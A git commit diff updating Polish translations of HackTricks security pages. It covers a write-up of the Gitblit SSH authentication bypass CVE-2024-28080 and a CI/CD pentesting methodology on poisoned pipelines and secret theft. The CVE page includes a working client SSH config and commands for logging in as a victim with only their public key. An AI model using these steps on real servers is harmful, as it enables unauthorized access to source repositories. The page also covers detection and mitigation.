mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-ci-cd/pentesting-ci-cd-methodology.md',
This commit is contained in:
Translator
@@ -1,10 +1,10 @@
|
||||
# Gitblit Bezpieczeństwo
|
||||
# Bezpieczeństwo Gitblit
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Co to jest Gitblit
|
||||
## Czym jest Gitblit
|
||||
|
||||
Gitblit to samodzielnie hostowany serwer Git napisany w Javie. Może działać jako samodzielny plik JAR lub w kontenerach servletów i jest dostarczany z wbudowaną usługą SSH (Apache MINA SSHD) dla Git over SSH.
|
||||
Gitblit to samodzielnie hostowany serwer Git napisany w Javie. Może działać jako samodzielny plik JAR lub w kontenerach servletów i zawiera wbudowaną usługę SSH (Apache MINA SSHD) obsługującą Git over SSH.
|
||||
|
||||
## Tematy
|
||||
|
||||
@@ -14,7 +14,7 @@ Gitblit to samodzielnie hostowany serwer Git napisany w Javie. Może działać j
|
||||
gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md
|
||||
{{#endref}}
|
||||
|
||||
## Referencje
|
||||
## Źródła
|
||||
|
||||
- [Gitblit project](https://gitblit.com/)
|
||||
|
||||
|
||||
+40
-40
@@ -4,36 +4,36 @@
|
||||
|
||||
## Podsumowanie
|
||||
|
||||
CVE-2024-28080 to obejście uwierzytelniania w wbudowanym serwisie SSH Gitblit spowodowane niepoprawnym zarządzaniem stanem sesji podczas integracji z Apache MINA SSHD. Jeśli konto użytkownika ma zarejestrowany co najmniej jeden klucz SSH publiczny, atakujący znający nazwę użytkownika i dowolny z jego kluczy publicznych może się uwierzytelnić bez private key i bez hasła.
|
||||
CVE-2024-28080 to obejście uwierzytelniania w wbudowanej usłudze SSH Gitblit, spowodowane nieprawidłowym zarządzaniem stanem sesji przy integracji z Apache MINA SSHD. Jeśli konto użytkownika ma zarejestrowany co najmniej jeden publiczny klucz SSH, atakujący, który zna nazwę użytkownika oraz którykolwiek z publicznych kluczy tego użytkownika, może się uwierzytelnić bez prywatnego klucza i bez hasła.
|
||||
|
||||
- Dotknięte: Gitblit < 1.10.0 (observed on 1.9.3)
|
||||
- Dotknięte: Gitblit < 1.10.0 (zaobserwowane w 1.9.3)
|
||||
- Naprawione: 1.10.0
|
||||
- Wymagania do exploitacji:
|
||||
- Wymagania do exploitu:
|
||||
- Git over SSH włączony na instancji
|
||||
- Konto ofiary ma zarejestrowany co najmniej jeden klucz SSH publiczny w Gitblit
|
||||
- Atakujący zna nazwę użytkownika ofiary i jeden z jego kluczy publicznych (często do znalezienia, np. https://github.com/<username>.keys)
|
||||
- Konto ofiary ma zarejestrowany co najmniej jeden publiczny klucz SSH w Gitblit
|
||||
- Atakujący zna nazwę użytkownika ofiary oraz jeden z jej publicznych kluczy (często możliwe do znalezienia, np. https://github.com/<username>.keys)
|
||||
|
||||
## Root cause (state leaks between SSH methods)
|
||||
## Przyczyna (state leaks between SSH methods)
|
||||
|
||||
W RFC 4252 uwierzytelnianie public‑key przebiega w dwóch fazach: serwer najpierw sprawdza, czy podany klucz publiczny jest akceptowalny dla nazwy użytkownika, a dopiero po challenge/response z podpisem uwierzytelnia użytkownika. W MINA SSHD PublickeyAuthenticator jest wywoływany dwukrotnie: przy akceptacji klucza (jeszcze bez podpisu) i później, po tym jak klient zwróci podpis.
|
||||
W RFC 4252 uwierzytelnianie przy użyciu klucza publicznego przebiega w dwóch fazach: serwer najpierw sprawdza, czy podany klucz publiczny jest akceptowalny dla danej nazwy użytkownika, a dopiero po challenge/response z podpisem uwierzytelnia użytkownika. W MINA SSHD, PublickeyAuthenticator jest wywoływany dwukrotnie: przy akceptacji klucza (jeszcze bez podpisu) oraz później, gdy klient zwraca podpis.
|
||||
|
||||
PublickeyAuthenticator Gitblita modyfikował kontekst sesji przy pierwszym, przed‑podpisem wywołaniu, wiążąc uwierzytelniony UserModel z sesją i zwracając true ("key acceptable"). Gdy uwierzytelnianie później przechodziło do hasła, PasswordAuthenticator ufał temu zmodyfikowanemu stanowi sesji i skracał ścieżkę, zwracając true bez weryfikacji hasła. W efekcie każde hasło (włącznie z pustym) było akceptowane po wcześniejszej public‑key "acceptance" dla tego samego użytkownika.
|
||||
PublickeyAuthenticator Gitblit zmodyfikował kontekst sesji podczas pierwszego, przed‑podpisem wywołania przez powiązanie uwierzytelnionego UserModel z sesją i zwracanie true ("key acceptable"). Gdy uwierzytelnianie później przechodziło do hasła, PasswordAuthenticator zaufał temu zmodyfikowanemu stanowi sesji i przerwał proces, zwracając true bez weryfikacji hasła. W efekcie dowolne hasło (w tym puste) było akceptowane po wcześniejszej public‑key "acceptance" dla tego samego użytkownika.
|
||||
|
||||
Ogólny, wadliwy przebieg:
|
||||
|
||||
1) Klient oferuje nazwę użytkownika + public key (jeszcze bez podpisu)
|
||||
2) Serwer rozpoznaje, że klucz należy do użytkownika i przedwcześnie przypisuje użytkownika do sesji, zwracając true ("acceptable")
|
||||
3) Klient nie może podpisać (brak private key), więc uwierzytelnianie przechodzi na hasło
|
||||
4) Uwierzytelnianie hasłem widzi, że użytkownik jest już przypisany do sesji i bezwarunkowo zwraca powodzenie
|
||||
1) Klient oferuje username + public key (jeszcze bez podpisu)
|
||||
2) Serwer rozpoznaje, że klucz należy do użytkownika i przedwcześnie przypisuje użytkownika do sesji, zwraca true ("acceptable")
|
||||
3) Klient nie może podpisać (brak prywatnego klucza), więc uwierzytelnianie przechodzi do hasła
|
||||
4) Uwierzytelnianie hasłem widzi, że użytkownik jest już obecny w sesji i bezwarunkowo zwraca sukces
|
||||
|
||||
## Krok‑po‑kroku eksploatacja
|
||||
## Eksploatacja krok po kroku
|
||||
|
||||
- Zbierz nazwę użytkownika ofiary i jeden z jej kluczy publicznych:
|
||||
- GitHub udostępnia klucze publiczne pod adresem https://github.com/<username>.keys
|
||||
- Publiczne serwery często ujawniają authorized_keys
|
||||
- Skonfiguruj OpenSSH tak, by prezentował tylko część publiczną, tak że generowanie podpisu się nie powiedzie, wymuszając fallback do hasła, jednocześnie wywołując ścieżkę akceptacji public‑key po stronie serwera.
|
||||
- GitHub udostępnia publiczne klucze pod adresem https://github.com/<username>.keys
|
||||
- Serwery publiczne często udostępniają authorized_keys
|
||||
- Skonfiguruj OpenSSH tak, aby prezentował tylko część publiczną (bez prywatnej), tak aby generowanie podpisu się nie powiodło, wymuszając powrót do hasła, a jednocześnie wywołując ścieżkę akceptacji klucza publicznego na serwerze.
|
||||
|
||||
Przykładowa konfiguracja klienta SSH (no private key available):
|
||||
Przykładowa konfiguracja klienta SSH (brak dostępnego prywatnego klucza):
|
||||
```sshconfig
|
||||
# ~/.ssh/config
|
||||
Host gitblit-target
|
||||
@@ -50,52 +50,52 @@ ssh gitblit-target
|
||||
# or Git over SSH
|
||||
GIT_SSH_COMMAND="ssh -F ~/.ssh/config" git ls-remote ssh://<victim-username>@<host>/<repo.git>
|
||||
```
|
||||
Authentication succeeds because the earlier public‑key phase mutated the session to an authenticated user, and password auth incorrectly trusts that state.
|
||||
Uwierzytelnianie powiodło się, ponieważ wcześniejsza faza public‑key zmieniła stan session na uwierzytelnionego użytkownika, a password auth błędnie ufa temu stanowi.
|
||||
|
||||
Note: If ControlMaster multiplexing is enabled in your SSH config, subsequent Git commands may reuse the authenticated connection, increasing impact.
|
||||
Uwaga: Jeśli w konfiguracji SSH włączono ControlMaster multiplexing, kolejne polecenia Git mogą ponownie użyć uwierzytelnionego połączenia, zwiększając wpływ.
|
||||
|
||||
## Impact
|
||||
|
||||
- Pełne podszycie się pod dowolnego użytkownika Gitblit, który ma co najmniej jeden zarejestrowany SSH public key
|
||||
- Dostęp do odczytu/zapisu do repozytoriów zgodnie z uprawnieniami ofiary (eksfiltracja kodu źródłowego, nieautoryzowane pushes, ryzyko supply‑chain)
|
||||
- Potencjalny wpływ administracyjny w przypadku skompromitowania użytkownika z uprawnieniami admina
|
||||
- Dostęp do odczytu/zapisu do repozytoriów zgodnie z uprawnieniami ofiary (eksfiltracja źródła, nieautoryzowane pushes, supply‑chain risks)
|
||||
- Możliwy wpływ administracyjny przy ataku na konto administratora
|
||||
- Czysty exploit sieciowy; nie wymaga brute force ani private key
|
||||
|
||||
## Detection ideas
|
||||
|
||||
- Przejrzyj logi SSH pod kątem sekwencji, w których próba publickey jest następnie zakończona udanym password authentication z pustym lub bardzo krótkim password
|
||||
- Szukaj przepływów: metoda publickey oferująca nieobsługiwany/niezgodny materiał klucza, a następnie natychmiastowy sukces password dla tej samej nazwy użytkownika
|
||||
- Przejrzyj logi SSH w poszukiwaniu sekwencji, w których próba publickey jest następowana przez udane uwierzytelnienie password z pustym lub bardzo krótkim hasłem
|
||||
- Szukaj przepływów: metoda publickey oferująca nieobsługiwany/niepasujący materiał klucza, po którym następuje natychmiastowe powodzenie password dla tej samej nazwy użytkownika
|
||||
|
||||
## Mitigations
|
||||
|
||||
- Upgrade to Gitblit v1.10.0+
|
||||
- Until upgraded:
|
||||
- Wyłącz Git over SSH w Gitblit, lub
|
||||
- Zaktualizuj do Gitblit v1.10.0+
|
||||
- Do czasu aktualizacji:
|
||||
- Wyłącz Git over SSH na Gitblit, lub
|
||||
- Ogranicz dostęp sieciowy do usługi SSH, oraz
|
||||
- Monitoruj wzorce opisane powyżej pod kątem podejrzanej aktywności
|
||||
- Obetnij/odśwież poświadczenia dotkniętych użytkowników, jeśli podejrzewasz kompromitację
|
||||
- Monitoruj w poszukiwaniu opisanych powyżej podejrzanych wzorców
|
||||
- Rotuj dane uwierzytelniające dotkniętych użytkowników, jeśli podejrzewa się kompromitację
|
||||
|
||||
## General: abusing SSH auth method state‑leakage (MINA/OpenSSH‑based services)
|
||||
|
||||
Pattern: If a server’s public‑key authenticator mutates user/session state during the pre‑signature "key acceptable" phase and other authenticators (e.g., password) trust that state, you can bypass authentication by:
|
||||
Wzorzec: Jeśli public‑key authenticator serwera modyfikuje user/session state podczas etapu pre‑signature "key acceptable", a inne authenticatory (np. password) ufają temu stanowi, można obejść uwierzytelnianie przez:
|
||||
|
||||
- Presenting a legitimate public key for the target user (no private key)
|
||||
- Forcing the client to fail signing so the server falls back to password
|
||||
- Supplying any password while the password authenticator short‑circuits on leaked state
|
||||
- Prezentowanie legalnego public key dla docelowego użytkownika (bez private key)
|
||||
- Wymuszenie, by klient nie podpisał, tak że serwer przechodzi do password
|
||||
- Podanie dowolnego hasła, podczas gdy password authenticator przerywa procedurę z powodu leaked state
|
||||
|
||||
Practical tips:
|
||||
Praktyczne wskazówki:
|
||||
|
||||
- Public key harvesting at scale: pull public keys from common sources such as https://github.com/<username>.keys, organizational directories, team pages, leaked authorized_keys
|
||||
- Forcing signature failure (client‑side): point IdentityFile to only the .pub, set IdentitiesOnly yes, keep PreferredAuthentications to include publickey then password
|
||||
- Public key harvesting at scale: pobieraj public keys z powszechnych źródeł takich jak https://github.com/<username>.keys, katalogi organizacji, strony zespołów, leaked authorized_keys
|
||||
- Forcing signature failure (client‑side): ustaw IdentityFile tylko na .pub, ustaw IdentitiesOnly yes, zachowaj PreferredAuthentications tak, by zawierało publickey a następnie password
|
||||
- MINA SSHD integration pitfalls:
|
||||
- PublickeyAuthenticator.authenticate(...) must not attach user/session state until the post‑signature verification path confirms the signature
|
||||
- PasswordAuthenticator.authenticate(...) must not infer success from any state mutated during a prior, incomplete authentication method
|
||||
- PublickeyAuthenticator.authenticate(...) nie powinien przyłączać user/session state dopóki ścieżka weryfikacji po podpisie nie potwierdzi podpisu
|
||||
- PasswordAuthenticator.authenticate(...) nie powinien wywnioskowywać sukcesu na podstawie jakiegokolwiek stanu zmodyfikowanego podczas wcześniejszej, niekompletnej metody uwierzytelniania
|
||||
|
||||
Related protocol/design notes and literature:
|
||||
Powiązane uwagi protokołu/projektowe i literatura:
|
||||
- SSH userauth protocol: RFC 4252 (publickey method is a two‑stage process)
|
||||
- Historical discussions on early acceptance oracles and auth races, e.g., CVE‑2016‑20012 disputes around OpenSSH behavior
|
||||
- Historyczne dyskusje na temat early acceptance oracles i auth races, np. spory wokół CVE‑2016‑20012 dotyczące zachowania OpenSSH
|
||||
|
||||
## References
|
||||
## Referencje
|
||||
|
||||
- [Gitblit CVE-2024-28080: SSH public‑key fallback to password authentication bypass (Silent Signal blog)](https://blog.silentsignal.eu/2025/06/14/gitblit-cve-CVE-2024-28080/)
|
||||
- [Gitblit v1.10.0 release notes](https://github.com/gitblit-org/gitblit/releases/tag/v1.10.0)
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# Pentesting CI/CD Metodologia
|
||||
# Metodologia Pentesting CI/CD
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -6,98 +6,98 @@
|
||||
|
||||
## VCS
|
||||
|
||||
VCS oznacza **System kontroli wersji**, ten system pozwala deweloperom **zarządzać swoim source code**. Najpopularniejszym z nich jest **git** i zwykle firmy używają go na jednej z następujących **platform**:
|
||||
VCS oznacza **System Kontroli Wersji**, ten system pozwala deweloperom **zarządzać swoim kodem źródłowym**. Najpopularniejszym jest **git** i zwykle znajdziesz firmy korzystające z niego na jednej z następujących **platform**:
|
||||
|
||||
- Github
|
||||
- Gitlab
|
||||
- Bitbucket
|
||||
- Gitea
|
||||
- Gitblit
|
||||
- Cloud providers (oferują własne platformy VCS)
|
||||
- Cloud providers (they offer their own VCS platforms)
|
||||
|
||||
|
||||
## CI/CD Pipelines
|
||||
|
||||
CI/CD pipelines pozwalają deweloperom **automatyzować wykonywanie code** w różnych celach, włączając budowanie, testowanie i wdrażanie aplikacji. Te zautomatyzowane workflowy są **wyzwalane przez konkretne akcje**, takie jak pushy kodu, pull requests lub zadania zaplanowane. Są przydatne do usprawnienia procesu od developmentu do produkcji.
|
||||
CI/CD pipelines umożliwiają deweloperom **automatyzację uruchamiania kodu** w różnych celach, w tym budowy, testów i deployu aplikacji. Te zautomatyzowane workflowy są **wyzwalane przez konkretne akcje**, takie jak pushy kodu, pull requesty lub zadania zaplanowane. Ułatwiają one usprawnienie procesu od developmentu do produkcji.
|
||||
|
||||
Jednakże te systemy muszą być **wykonywane gdzieś** i zwykle z **uprzywilejowanymi poświadczeniami do deployu kodu lub dostępu do wrażliwych informacji**.
|
||||
Jednak te systemy muszą być **uruchamiane gdzieś** i zwykle wymagają **uprzywilejowanych poświadczeń do deployu kodu lub dostępu do wrażliwych informacji**.
|
||||
|
||||
## VCS Pentesting Methodology
|
||||
|
||||
> [!NOTE]
|
||||
> Nawet jeśli niektóre platformy VCS pozwalają na tworzenie pipelines, w tej sekcji przeanalizujemy tylko potencjalne ataki prowadzące do przejęcia kontroli nad source code.
|
||||
> Nawet jeśli niektóre platformy VCS umożliwiają tworzenie pipeline'ów, w tej sekcji przeanalizujemy tylko potencjalne ataki na kontrolę nad kodem źródłowym.
|
||||
|
||||
Platformy zawierające source code twojego projektu zawierają wrażliwe informacje i trzeba bardzo uważać na uprawnienia przyznawane w tej platformie. Oto kilka typowych problemów w platformach VCS, które atakujący mógłby wykorzystać:
|
||||
Platformy zawierające kod źródłowy Twojego projektu przechowują wrażliwe informacje i trzeba być bardzo ostrożnym z uprawnieniami nadawanymi w obrębie tej platformy. Oto kilka powszechnych problemów na platformach VCS, które atakujący może wykorzystać:
|
||||
|
||||
- **Leaks**: Jeśli twój code zawiera leaki w commitach, a atakujący może uzyskać dostęp do repo (bo jest publiczne lub ma dostęp), może odkryć te leaki.
|
||||
- **Access**: Jeśli atakujący potrafi **uzyskać dostęp do konta na platformie VCS**, może zyskać **większą widoczność i uprawnienia**.
|
||||
- **Register**: Niektóre platformy po prostu pozwalają zewnętrznym użytkownikom na stworzenie konta.
|
||||
- **SSO**: Niektóre platformy nie pozwalają na rejestrację, ale umożliwiają dostęp każdemu z ważnym SSO (więc atakujący mógłby użyć np. swojego github account, aby się zalogować).
|
||||
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... istnieje wiele typów tokenów, które użytkownik może ukraść, aby w jakiś sposób uzyskać dostęp do repo.
|
||||
- **Webhooks**: Platformy VCS pozwalają generować webhooks. Jeśli nie są **chronione** niewidocznymi secretami, **atakujący może je wykorzystać**.
|
||||
- Jeśli nie ma żadnego secreta, atakujący może wykorzystać webhook z platformy trzeciej
|
||||
- Jeśli secret znajduje się w URL, dzieje się to samo i atakujący również ma secret
|
||||
- **Code compromise:** Jeśli złośliwy aktor ma jakikolwiek **write** access do repo, może spróbować **wstrzyknąć złośliwy code**. Aby odnieść sukces może być wymagane **obejście branch protections**. Te działania mogą być wykonane z różnymi celami:
|
||||
- Skompromitować main branch w celu **skompromitowania produkcji**.
|
||||
- Skompromitować main (lub inne branche) aby **skompromitować maszyny deweloperów** (ponieważ zwykle wykonują testy, terraform lub inne rzeczy z repo na swoich maszynach).
|
||||
- **Skompromitować pipeline** (sprawdź następną sekcję)
|
||||
- **Leaks**: Jeśli Twój kod zawiera leaks w commitach i atakujący ma dostęp do repo (bo jest publiczne lub ma dostęp), może odkryć te leaks.
|
||||
- **Access**: Jeśli atakujący może **uzyskać dostęp do konta na platformie VCS**, może zdobyć **większą widoczność i uprawnienia**.
|
||||
- **Register**: Niektóre platformy pozwalają po prostu zewnętrznym użytkownikom na założenie konta.
|
||||
- **SSO**: Niektóre platformy nie pozwalają na rejestrację, ale pozwalają każdemu zalogować się za pomocą ważnego SSO (np. atakujący mógłby użyć swojego konta github, żeby wejść).
|
||||
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... istnieje wiele rodzajów tokenów, które użytkownik może ukraść, aby w jakiś sposób uzyskać dostęp do repo.
|
||||
- **Webhooks**: Platformy VCS pozwalają tworzyć webhooks. Jeśli nie są **chronione** niewidzialnymi sekretami, **atakujący może je nadużyć**.
|
||||
- Jeśli nie ma sekretu, atakujący może nadużyć webhooka platformy zewnętrznej.
|
||||
- Jeśli sekret jest w URL, dzieje się to samo i atakujący również ma ten sekret.
|
||||
- **Code compromise:** Jeśli złośliwy aktor ma jakiś rodzaj **write** dostępu do repo, może spróbować **wstrzyknąć złośliwy kod**. Aby odnieść sukces, może być konieczne **obejście ochrony gałęzi**. Te działania mogą być wykonywane z różnymi celami po drodze:
|
||||
- Skompromitować gałąź main, aby **skompromitować production**.
|
||||
- Skompromitować main (lub inne gałęzie), aby **skompromitować maszyny deweloperów** (ponieważ zwykle wykonują testy, terraform lub inne rzeczy w repo na swoich maszynach).
|
||||
- **Compromise the pipeline** (zobacz następną sekcję)
|
||||
|
||||
## Pipelines Pentesting Methodology
|
||||
|
||||
Najczęstszy sposób definiowania pipeline to użycie **CI configuration file hostowanego w repository**, które pipeline buduje. Ten plik opisuje kolejność wykonywanych jobów, warunki wpływające na flow i ustawienia środowiska builda.\
|
||||
Te pliki zwykle mają spójne nazwy i formaty, na przykład — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI) oraz pliki YAML GitHub Actions znajdujące się w .github/workflows. Po wyzwoleniu job pipeline **pulls the code** z wybranego źródła (np. commit / branch) i **uruchamia polecenia określone w CI configuration file** względem tego code.
|
||||
Najczęstszym sposobem definiowania pipeline'a jest użycie **pliku konfiguracyjnego CI hostowanego w repozytorium**, które pipeline buduje. Ten plik opisuje kolejność wykonywanych jobów, warunki wpływające na flow oraz ustawienia środowiska budowy.\
|
||||
Pliki te mają zwykle stałą nazwę i format, np. — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI) oraz pliki YAML GitHub Actions znajdujące się pod .github/workflows. Po wyzwoleniu, job pipeline **pobiera kod** ze wskazanego źródła (np. commit / branch) i **uruchamia komendy określone w pliku konfiguracyjnym CI** na tym kodzie.
|
||||
|
||||
Dlatego ostatecznym celem atakującego jest w jakiś sposób **skompromitować te pliki konfiguracyjne** lub **polecenia, które one wykonują**.
|
||||
Dlatego ostatecznym celem atakującego jest w jakiś sposób **skompromitować te pliki konfiguracyjne** lub **komendy, które one wykonują**.
|
||||
|
||||
### PPE - Poisoned Pipeline Execution
|
||||
|
||||
Ścieżka Poisoned Pipeline Execution (PPE) wykorzystuje uprawnienia w repo SCM do manipulowania CI pipeline i wykonywania szkodliwych poleceń. Użytkownicy z niezbędnymi uprawnieniami mogą modyfikować CI configuration files lub inne pliki używane przez job pipeline, aby dołączyć złośliwe polecenia. To „zatrucie” CI pipeline prowadzi do wykonania tych złośliwych poleceń.
|
||||
The Poisoned Pipeline Execution (PPE) path wykorzystuje uprawnienia w repozytorium SCM do manipulacji pipeline'em CI i uruchamiania szkodliwych poleceń. Użytkownicy z odpowiednimi uprawnieniami mogą modyfikować pliki konfiguracyjne CI lub inne pliki używane przez job pipeline, aby dodać złośliwe polecenia. To „truje” CI pipeline, prowadząc do wykonania tych złośliwych poleceń.
|
||||
|
||||
Aby złośliwy aktor odniósł sukces wykonując atak PPE, musi:
|
||||
|
||||
- Mieć **write access do platformy VCS**, ponieważ zwykle pipeline są wyzwalane gdy następuje push lub pull request. (Sprawdź VCS pentesting methodology dla podsumowania sposobów zdobycia dostępu).
|
||||
- Zauważ, że czasami **zewnętrzne PR liczy się jako "write access"**.
|
||||
- Nawet mając uprawnienia do zapisu, musi mieć pewność, że może **modyfikować CI config file lub inne pliki, na które config polega**.
|
||||
- W tym celu może być konieczne **obejście branch protections**.
|
||||
- Mieć **write access to the VCS platform**, ponieważ pipeline'y zwykle są wyzwalane przy pushu lub pull requestcie. (Sprawdź VCS pentesting methodology dla podsumowania sposobów uzyskania dostępu).
|
||||
- Zauważ, że czasami **zewnętrzny PR liczy się jako "write access"**.
|
||||
- Nawet mając uprawnienia zapisu, musi mieć pewność, że może **zmodyfikować plik konfiguracyjny CI lub inne pliki, na których konfiguracja polega**.
|
||||
- W tym celu może być konieczne **obejście ochrony gałęzi**.
|
||||
|
||||
Istnieją 3 odmiany PPE:
|
||||
Są 3 odmiany PPE:
|
||||
|
||||
- **D-PPE**: **Direct PPE** występuje, gdy aktor **modyfikuje CI config** file, który będzie wykonywany.
|
||||
- **I-DDE**: **Indirect PPE** występuje, gdy aktor **modyfikuje** jakiś **file**, na którym polega CI config (np. make file lub terraform config).
|
||||
- **Public PPE or 3PE**: W niektórych przypadkach pipeliny mogą być **wyzwalane przez użytkowników, którzy nie mają write access do repo** (a którzy mogą nawet nie być częścią organizacji), ponieważ mogą wysłać PR.
|
||||
- **3PE Command Injection**: Zwykle, CI/CD pipelines ustawiają zmienne środowiskowe z **informacjami o PR**. Jeśli ta wartość może być kontrolowana przez atakującego (np. tytuł PR) i jest **używana** w **niebezpiecznym miejscu** (np. przy wykonywaniu poleceń sh), atakujący może **wstrzyknąć tam polecenia**.
|
||||
- **D-PPE**: A **Direct PPE** attack occurs when the actor **modifies the CI config** file that is going to be executed.
|
||||
- **I-DDE**: An **Indirect PPE** attack occurs when the actor **modifies** a **file** the CI config file that is going to be executed **relays on** (like a make file or a terraform config).
|
||||
- **Public PPE or 3PE**: W niektórych przypadkach pipeline'y mogą być **wyzwalane przez użytkowników, którzy nie mają write access w repo** (i którzy nawet mogą nie należeć do organizacji), ponieważ mogą wysłać PR.
|
||||
- **3PE Command Injection**: Zwykle CI/CD pipeline'y będą **ustawiać zmienne środowiskowe** z **informacjami o PR**. Jeśli tę wartość może kontrolować atakujący (np. tytuł PR) i jest **używana** w **niebezpiecznym miejscu** (np. przy wykonywaniu **sh commands**), atakujący może **wstrzyknąć tam polecenia**.
|
||||
|
||||
### Exploitation Benefits
|
||||
|
||||
Znając 3 odmiany zatrucia pipeline, sprawdźmy co atakujący może uzyskać po pomyślnym exploitowaniu:
|
||||
Znając 3 odmiany zatrucia pipeline'a, sprawdźmy, co atakujący może uzyskać po udanej eksploatacji:
|
||||
|
||||
- **Secrets**: Jak wspomniano wcześniej, pipeline wymagają **uprawnień** dla swoich jobów (pobranie code, build, deploy...) i te uprawnienia są zwykle **przechowywane w secrets**. Te secrets są zwykle dostępne przez **env variables lub pliki w systemie**. Dlatego atakujący zawsze będzie próbował wyeksfiltrować jak najwięcej secrets.
|
||||
- W zależności od platformy pipeline atakujący **może potrzebować zadeklarować secrets w konfiguracji**. To oznacza, że jeśli atakujący nie może zmodyfikować CI configuration pipeline (**I-PPE** na przykład), mógłby **tylko wyeksfiltrować te secrets, które pipeline posiada**.
|
||||
- **Computation**: Code jest wykonywany gdzieś — w zależności od miejsca wykonania atakujący może być w stanie pivotować dalej.
|
||||
- **On-Premises**: Jeśli pipeline wykonują się on-premises, atakujący może trafić do **sieci wewnętrznej z dostępem do większej ilości zasobów**.
|
||||
- **Cloud**: Atakujący może uzyskać dostęp do **innych maszyn w chmurze**, ale także może **wyeksfiltrować** IAM roles/service accounts **tokens**, aby uzyskać **dalszy dostęp w cloud**.
|
||||
- **Platforms machine**: Czasami joby będą wykonywane na **maszynach platformy pipelines**, które zwykle znajdują się w chmurze bez dodatkowego dostępu.
|
||||
- **Select it:** Czasami **platforma pipelines będzie miała skonfigurowane kilka maszyn** i jeśli możesz **zmodyfikować CI configuration file**, możesz **wskazać, gdzie chcesz uruchomić złośliwy code**. W takiej sytuacji atakujący prawdopodobnie uruchomi reverse shell na każdej możliwej maszynie, aby spróbować dalej ją eksploatować.
|
||||
- **Compromise production**: Jeśli znajdujesz się wewnątrz pipeline i finalna wersja jest budowana oraz wdrażana z niego, możesz **skompromitować code, który trafi do środowiska produkcyjnego**.
|
||||
- **Secrets**: Jak wspomniano wcześniej, pipeline'y wymagają **uprawnień** do swoich jobów (pobrać kod, zbudować, zdeployować...) i te uprawnienia są zwykle **przyznawane w sekretach**. Te sekrety zwykle są dostępne przez **zmienne środowiskowe lub pliki w systemie**. Dlatego atakujący zawsze będzie próbował wyeksfiltrować jak najwięcej sekretów.
|
||||
- W zależności od platformy pipeline atakujący **może musieć określić sekrety w konfiguracji**. To oznacza, że jeśli atakujący nie może zmodyfikować konfiguracji CI (np. **I-PPE**), mógłby **wyeksfiltrować tylko sekrety, które ma dany pipeline**.
|
||||
- **Computation**: Kod jest wykonywany gdzieś — w zależności od miejsca wykonywania atakujący może być w stanie pivotować dalej.
|
||||
- **On-Premises**: Jeśli pipeline'y są wykonywane on-premises, atakujący może trafić do **sieci wewnętrznej z dostępem do większej ilości zasobów**.
|
||||
- **Cloud**: Atakujący może uzyskać dostęp do **innych maszyn w chmurze**, ale także może **wyeksfiltrować** tokeny ról IAM/service accounts, żeby uzyskać **dalej idący dostęp w chmurze**.
|
||||
- **Platforms machine**: Czasami joby będą wykonywane na **maszynach platformy pipelines**, które zwykle znajdują się w chmurze i mają **ograniczony dostęp**.
|
||||
- **Select it:** Czasami **platforma pipeline będzie miała skonfigurowane różne maszyny** i jeśli możesz **zmodyfikować plik konfiguracyjny CI**, możesz **wskazać, gdzie chcesz uruchomić złośliwy kod**. W takiej sytuacji atakujący prawdopodobnie odpali reverse shell na każdej możliwej maszynie, aby spróbować dalej ją eksploatować.
|
||||
- **Compromise production**: Jeśli jesteś wewnątrz pipeline'a i finalna wersja jest budowana i deployowana z niego, możesz **skompromitować kod, który trafi do produkcji**.
|
||||
|
||||
## More relevant info
|
||||
|
||||
### Tools & CIS Benchmark
|
||||
|
||||
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) to open-source tool do audytu twojego software supply chain stack pod kątem compliance bezpieczeństwa, oparty na nowym [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Audyt koncentruje się na całym procesie SDLC, gdzie może ujawnić ryzyka od czasu tworzenia code do momentu deployu.
|
||||
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) to narzędzie open-source do audytu Twojego stacku software supply chain pod kątem zgodności bezpieczeństwa, oparte na nowym [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Audyt koncentruje się na całym procesie SDLC, gdzie może ujawnić ryzyka od czasu tworzenia kodu po czas jego deployu.
|
||||
|
||||
### Top 10 CI/CD Security Risk
|
||||
|
||||
Sprawdź interesujący artykuł o top 10 CI/CD risk według Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
|
||||
Sprawdź ciekawy artykuł o top 10 ryzyk CI/CD według Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
|
||||
|
||||
### Labs
|
||||
|
||||
- Na każdej platformie, którą możesz uruchomić lokalnie, znajdziesz instrukcję jak ją uruchomić lokalnie, abyś mógł skonfigurować ją według własnych potrzeb i testować.
|
||||
- Na każdej platformie, którą możesz uruchomić lokalnie, znajdziesz instrukcję jak ją uruchomić lokalnie, abyś mógł skonfigurować ją tak, jak chcesz do testów
|
||||
- Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
|
||||
|
||||
### Automatic Tools
|
||||
|
||||
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** to static code analysis tool dla infrastructure-as-code.
|
||||
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** to narzędzie do statycznej analizy kodu dla infrastructure-as-code.
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@@ -12,7 +12,7 @@ Więcej **informacji o ECS** w:
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
|
||||
|
||||
